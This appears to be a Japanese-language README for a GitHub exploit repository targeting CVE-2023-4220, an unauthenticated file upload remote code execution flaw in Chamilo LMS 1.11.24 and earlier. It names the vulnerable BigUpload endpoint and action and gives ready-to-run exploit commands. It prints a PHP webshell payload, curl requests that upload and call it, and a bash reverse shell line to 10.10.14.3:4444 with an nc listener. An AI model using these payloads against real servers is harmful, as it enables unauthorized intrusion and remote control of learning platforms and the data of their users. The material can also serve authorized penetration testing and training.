
CVE-2023-4220 — Chamilo LMS ≤ 1.11.24における認証なしのファイルアップロードによるRCE。OSCPスタイルおよび自動エクスプロイト。
CVE-2023-4220 用の Python エクスプロイトです。これは Chamilo LMS <= 1.11.24 に影響する、認証不要の任意ファイルアップロード脆弱性です。
この脆弱性は Chamilo の BigUpload コンポーネントに存在します。脆弱性のあるインストール環境では、アップロードハンドラが適切な検証なしに PHP ファイルのアップロードを許可します。アップロードされたファイルは Web からアクセス可能なディレクトリに保存されるため、PHP の実行が有効な場合、アップロードした PHP ファイルに直接リクエストして webshell として使用できます。
このリポジトリには、エクスプロイトの 2 つのバージョンが含まれています:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
両方のスクリプトは PHP の webshell をアップロードし、コマンド実行を検証して、cmd GET パラメータを通じてコマンドを実行できます。実質的な違いは --shell の処理方法のみです。
auto バージョンは自身でリスナーを起動し、リバースシェルをトリガーして、自動的にインタラクティブセッションに切り替わります。
oscp バージョンはリバースシェルのペイロードをトリガーしますが、リスナーは起動しません。実行する前に手動でリスナーを起動する必要があります。
リポジトリをクローンします:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
依存パッケージをインストールします:
python3 -m pip install -r requirements.txt
外部依存は requests のみのため、手動でインストールすることもできます:
python3 -m pip install requests
ターゲットは -u または --url で指定します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
両方のスクリプトで同じオプションが利用できます:
-u, --url ターゲットのベース URL
--check BigUpload の files ディレクトリにアクセスできるか確認
--upload webshell をアップロードしてコマンド実行を検証
--cmd CMD アップロードした webshell を通じて単一のコマンドを実行
--shell LHOST LPORT リバースシェルをトリガー
--filename NAME アップロードする PHP ファイルにカスタムファイル名を使用
--proxy PROXY プロキシ経由でトラフィックを送信(例: Burp Suite)
--timeout SECONDS HTTP タイムアウトを設定
--verify-tls TLS 証明書の検証を有効化
--cleanup 実行後にアップロードした webshell の削除を試行
自動バージョンには次のオプションも含まれます:
--listen-timeout SEC リバースシェルの接続を待機する時間
想定される BigUpload のパスにアクセスできるか確認します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
PHP の webshell をアップロードしてコマンド実行を検証します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
単一のコマンドを実行します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
カスタムファイル名を使用します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Burp Suite 経由でトラフィックを送信します:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
上記の例では auto スクリプトを使用していますが、同じ構文は chamilo_cve_2023_4220_oscp.py でも使用できます。
--shell オプションは両方のスクリプトにありますが、使用するバージョンによって動作が異なります。
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
このバージョンは 10.10.14.3:4444 でローカルリスナーを起動し、webshell をアップロードして、リバースシェルをトリガーし、自動的にインタラクティブセッションを開きます。
このバージョンを使用する場合、nc を手動で実行する必要はありません。
最初に手動でリスナーを起動します:
sudo nc -nlvp 4444
次に、別のターミナルからエクスプロイトを実行します:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
このバージョンはアップロードした webshell を通じてリバースシェルのペイロードを送信するだけです。接続は手動で起動したリスナーが受け取ります。
両方のスクリプトがトリガーするリバースシェルコマンドは次のコマンドと同等です:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
LHOST の値がターゲットから到達可能であることを確認してください。VPN 環境では、通常これはトンネルインターフェースのアドレスです:
ip -brief addr show tun0
CVE-2023-4220 は Chamilo LMS のバージョン 1.11.24 以前に影響します。
脆弱性のあるアップロードハンドラは次の場所にあります:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
エクスプロイトが悪用するアクションは次のとおりです:
?action=post-unsupported
アップロードされたファイルは通常、次の場所からアクセスできます:
/main/inc/lib/javascript/bigupload/files/
エクスプロイトは、BigUpload が想定するフォームフィールドを使用して multipart/form-data の POST リクエストを送信します:
bigUploadFile
アップロードされる PHP ペイロードは小さなコマンドラッパーです:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
コマンドは cmd GET パラメータを通じて渡されます:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
コマンド出力の周囲にあるマーカーは、HTTP レスポンスの関連部分を抽出するために使用されます。
スクリプトが実行するアップロードは次のリクエストと同等です:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
アップロードが成功した後、コマンド実行は次のコマンドでテストできます:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check は、想定される BigUpload の files ディレクトリにアクセスできるかどうかのみを検証します。結果が肯定的でも、ターゲットがエクスプロイト可能であることは保証されません。
完全な検証には、PHP ペイロードをアップロードし、--upload または --cmd でコマンド実行を確認する必要があります。
アップロードは成功するがコマンド実行が失敗する場合、アップロードディレクトリで PHP の実行が無効になっているか、ターゲットにパッチが適用されているか、サーバー側のルールがリクエストをブロックしている可能性があります。
実行後にスクリプトがアップロードした PHP ファイルの削除を試行するようにしたい場合は、--cleanup を使用します。